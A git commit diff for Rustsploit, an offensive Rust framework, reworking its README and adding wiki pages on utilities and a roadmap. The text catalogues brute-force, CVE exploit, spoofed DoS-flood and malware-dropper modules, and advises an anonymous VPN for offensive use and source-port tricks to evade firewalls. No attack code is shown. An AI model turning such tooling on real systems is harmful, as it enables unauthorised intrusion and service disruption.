unifying more stuff and new docs

adding unify support for api and prompt usage and improving. also adding some preformance improvements new documentations and improvement
This commit is contained in:
S.B
2026-03-24 16:17:10 +02:00
parent 587f7a5163
commit f51d7c111b
27 changed files with 816 additions and 853 deletions
+44 -513
View File
@@ -5,560 +5,92 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
## Table of Contents
## 📖 Wiki & Documentation
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [How Modules Are Discovered](#how-modules-are-discovered)
9. [Contributing](#contributing)
10. [Credits](#credits)
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
| Document | Description |
|----------|-------------|
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](docs/API-Server.md) | REST API startup, endpoints, auth, rate limiting, hardening |
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
| [Changelog](docs/Changelog.md) | Release notes and version history |
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
---
## Highlights
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
- **IP exclusion ranges (EXCLUDED_RANGES):** Camxploit, Telnet bruteforce, and exploit modules now skip bogon, private, reserved, documentation, and public DNS IPs during mass scans
- **DoS / Stress testing suite:** Connection Exhaustion Flood (semaphore-bounded FDs), Null SYN Exhaustion (>1M PPS, IP spoofing), TCP Connection Flood (connect & drop, infinite mode)
---
**🚀 New Features:**
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
- ` Note` when `-t` is used without `-m` (target available in shell)
- Error when `--harden` is used without `--api`
- Helpful usage hints printed for common mistakes
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
**📚 Documentation:**
- Updated developer guide with v0.5.0 changes
- Added CLI error handling examples
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `creds/camxploit` | **Camxploit camera scanner** with masscan-style parallel scanning, EXCLUDED_RANGES (bogons/private/reserved/DNS), port-based service filtering (ignores SSH/Telnet/RDP-only hosts), output file support |
| `exploits/dos` | **Connection Exhaustion Flood** (FD-bounded semaphore, connect & drop), **Null SYN Exhaustion** (raw packet, IP spoofing, XorShift128+ RNG, >1M PPS), **TCP Connection Flood** (pre-resolved DNS, high-concurrency handshake stress) |
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
- **Interactive shell:** Color prompts, shortcuts (`help/?`, `modules/m`, `run/go`), command chaining with `&`
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet — with IPv6 and TLS support
- **Exploit coverage:** CVEs for GNU inetutils-telnetd, Apache Tomcat, TP-Link, Ivanti, Zabbix, OpenSSH, Jenkins, PAN-OS, Heartbleed, and more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer
- **REST API server:** Authentication, rate limiting, IP tracking, dynamic key rotation, hardening mode
- **Security hardened:** Input validation, path traversal protection, honeypot detection, memory-safe operations
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
---
## Quick Start
### Requirements
**Debian/Ubuntu/Kali:**
```bash
```bash
# Install dependencies (Debian/Ubuntu/Kali)
sudo apt update
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11 # Required for RDP and Bluetooth modules
```
**Arch Linux:**
```bash
sudo pacman -S pkgconf openssl freerdp rustc
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
```
**Fedora/RHEL:**
```bash
sudo dnf install pkgconf-pkg-config openssl-devel freerdp rustc
```
### Installing Rust & Cargo
**General (Recommended for all Linux/macOS):**
```bash
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
### Clone + Build
```
# Clone & build
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
### instant quick run command debian 13
```
sudo apt update -y && sudo apt upgrade -y && sudo apt install git wget curl pkg-config libssl-dev rustc libdbus-1-dev -y && \
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && \
source $HOME/.cargo/env && git clone https://github.com/s-b-repo/rustsploit.git && \
cd rustsploit && CARGO_BUILD_JOBS=1 cargo run
```
### Run (Interactive Shell)
```
# Run
cargo run
```
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
---
## Docker Deployment
## Quick Navigation
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## New Features & Improvements
### Framework-Level Enhancements
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
- **Advanced Target Normalization**: The framework now supports:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
All targets are validated for security (DoS prevention, path traversal protection, format validation).
### Module Improvements
- **Telnet Bruteforce**:
- Full Telnet IAC (Interpret As Command) negotiation support
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
- Verbose mode for quick checks showing all attempts and detailed statistics
- Improved buffer handling and memory management
- **RDP Bruteforce**:
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
- Command injection prevention in external tool calls
- **MQTT Bruteforce**:
- Full MQTT 3.1.1 protocol implementation
- Proper CONNECT packet construction with variable-length encoding
- CONNACK response parsing and error classification
- **SSH User Enumeration**:
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
- Statistical analysis with configurable samples and thresholds
- Distinguishes valid/invalid users based on authentication time differences
- **Directory Bruteforcer**:
- High-performance recursive directory scanning
- Custom wordlists with extension appending
- Smart status code filtering and size anomaly detection
- Interactive wizard for easy configuration
- **Sequential Fuzzer**:
- Targeted fuzzing for URLs, headers, and body parameters
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
- Custom charsets (SQL, Traversal, Command Injection)
- Iterative generation for exhaustive coverage
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
exit exit | quit | q Leave shell
```
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> go
```
### Command Chaining
Execute multiple commands in a single line using the `&` separator:
```text
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
This is useful for scripting quick workflows or batching common operations together.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
### Global Flags
- `--list-modules`: Print all available modules and exit.
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
- `--output-format <text|json>`: Control output format (default: text).
```bash
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`GET /api/module/:category/:name`** - Get details for a specific module
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
http://localhost:8080/api/run
```
- **`POST /api/validate`** - Validate parameters without execution
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/validate
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Input Validation & Security
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
- **Target Validation:** All targets are validated for length, control characters, and path traversal
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
- Automatic cleanup of expired blocks and entries older than 1 hour
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
- Automatic pruning when tracker exceeds 100,000 entries
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
- **New user?** → [Getting Started](docs/Getting-Started.md)
- **Writing a module?** → [Module Development](docs/Module-Development.md)
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
---
## Private Internet Recommendations
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
- **No Registration:** Account numbers are generated without email or personal data.
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
---
## How Modules Are Discovered
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
---
## Contributing
Contributions are welcome! High-level suggestions:
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
3. Run `cargo fmt` and `cargo check` before opening a PR
---
@@ -566,7 +98,6 @@ Bug reports, feature requests, and module ideas are appreciated. Feel free to lo
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
+87
View File
@@ -13710,4 +13710,91 @@ Impact: All 16+ modules that use is_subnet_target() + parse_subnet() will now pr
telnet_bruteforce, ssh_bruteforce, ftp_bruteforce, rdp_bruteforce, smtp_bruteforce, snmp_bruteforce, mqtt_bruteforce, pop3_bruteforce, l2tp_bruteforce, fortinet_bruteforce, rtsp_bruteforce, ssh_user_enum, ftp_anonymous, telnet_hose, camxploit, etc.
Walkthrough: API Support for Network Exploits
Summary
Added API/CLI/Shell support to 19 exploit files across
network_infra/
,
routers/
, and
telnet/
directories. All modules now work via API (/api/run), CLI (--module), and shell (
run
).
Pattern
Replaced interactive-only prompt functions with cfg_prompt_* equivalents:
Old New Notes
prompt_required(msg)
cfg_prompt_required(key, msg)
Required field
prompt_default(msg, def)
cfg_prompt_default(key, msg, def)
With default
prompt_port(msg, def)
cfg_prompt_port(key, msg, def)
Port number
prompt_yes_no(msg, def)
cfg_prompt_yes_no(key, msg, def)
Boolean
prompt_int_range(...)
cfg_prompt_int_range(...)
Integer range
Raw stdin reads Various cfg_prompt_* Direct I/O replaced
Local
prompt()
helpers
cfg_prompt_required
Removed dead code
Files Modified
Network Infra (16 files)
Fortinet:
fortios_auth_bypass
,
fortios_ssl_vpn
,
fortiweb_rce
,
fortisiem_rce
,
fortiweb_sqli_rce
,
forticloud_sso
Ivanti:
ivanti_epmm
(ivanti_connect_secure skipped — no prompts)
QNAP:
qnap_qts_rce
Trend Micro:
cve_2025_5777
,
cve_2025_69258
,
cve_2025_69259
,
cve_2025_69260
VMware:
esxi_vm_escape
,
vcenter_backup_rce
,
vcenter_file_read
,
esxi_vsock_client
Routers (2 files)
ruijie_rsr_router
,
ubiquiti_edgerouter
Telnet (1 file)
telnet_auth_bypass
(telnet_bruteforce.rs and telnet_hose.rs already API-compatible)
converted more modules to api support so tired gang
+2
View File
@@ -0,0 +1,2 @@
# About Me
+2
View File
@@ -0,0 +1,2 @@
# Donation
+22
View File
@@ -0,0 +1,22 @@
# Future Features Roadmap
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
## 1. 3rd-Party Plugin System
We plan to introduce a `plugins/` directory to allow users to drop in custom, pre-compiled modules or scripts without modifying the core Rustsploit source code.
- **Goal:** Enable a vibrant community ecosystem of custom exploits and scanners.
- **Implementation:** Likely utilizing library loading (`.rs)
## 2. Instant Configuration Loading
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
## 3. Dynamic Source Port Modification
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
---
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
+1 -1
View File
@@ -11,7 +11,7 @@ Rustsploit is a modular offensive tooling framework for embedded targets, writte
**Debian / Ubuntu / Kali:**
```bash
sudo apt update
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev
```
**Arch Linux:**
+3
View File
@@ -25,6 +25,9 @@ Welcome to the Rustsploit documentation hub. Use the links below to navigate to
| [Changelog](Changelog.md) | Release notes and version history |
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
| [Future Features](Future-Features.md) | Roadmap: Plugins, Config Loading, Source Port modifications |
| [About Me](About-Me.md) | Information about the author |
| [Donation](Donation.md) | Ways to support the project |
---
+532 -82
View File
@@ -1,131 +1,581 @@
# Utilities & Helpers
`src/utils.rs` provides shared helpers used across shells, CLI, API, and modules. Prefer these over rolling your own to ensure consistent validation and behavior.
Rustsploit provides three utility modules that every module developer should know:
| Module | Import Path | Purpose |
|--------|-------------|---------|
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
---
## Target Normalization
## `crate::utils` — Core Utilities
### `normalize_target(raw: &str) -> Result<String>`
### `load_lines(path) → Result<Vec<String>>`
Comprehensive target normalization and validation. Accepts:
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
| Input | Example |
|-------|---------|
```rust
use crate::utils::load_lines;
let passwords = load_lines("passwords.txt")?;
for pw in &passwords {
// each entry is trimmed, non-empty
}
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `path` | `impl AsRef<Path>` | Path to the file to read |
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
---
### `normalize_target(raw) → Result<String>`
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
```rust
use crate::utils::normalize_target;
let target = normalize_target(user_input)?;
// target is now in one of:
// "192.168.1.1" (IPv4)
// "192.168.1.1:8080" (IPv4 + port)
// "[::1]" (IPv6)
// "[::1]:8080" (IPv6 + port)
// "example.com" (hostname)
// "192.168.1.0/24" (CIDR)
```
| Input Format | Example |
|--------------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` (extracts host:port) |
| URL | `http://example.com:8080` extracts `example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
Validates against: DoS-length abuse, control characters, path traversal patterns.
```rust
use crate::utils::normalize_target;
let target = normalize_target(raw_input)?;
```
### `extract_ip_from_target(target: &str) -> Result<String>`
Extracts the IP address or hostname from a normalized target string, stripping ports, brackets, and CIDR notation.
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
---
## Honeypot Detection
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
### `basic_honeypot_check(ip: &str) -> ()`
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
Scans 200 common ports with a 250 ms timeout per port. Prints a warning if 11 or more respond.
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
Runs automatically before module execution in the shell. Call manually in module code if needed:
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
```rust
use crate::utils::basic_honeypot_check;
basic_honeypot_check(&ip).await;
use crate::utils::cfg_prompt_yes_no;
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
| `msg` | `&str` | Prompt message shown to user in shell mode |
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
---
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
```rust
use crate::utils::cfg_prompt_existing_file;
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
let lines = load_lines(&wordlist)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key for API mode |
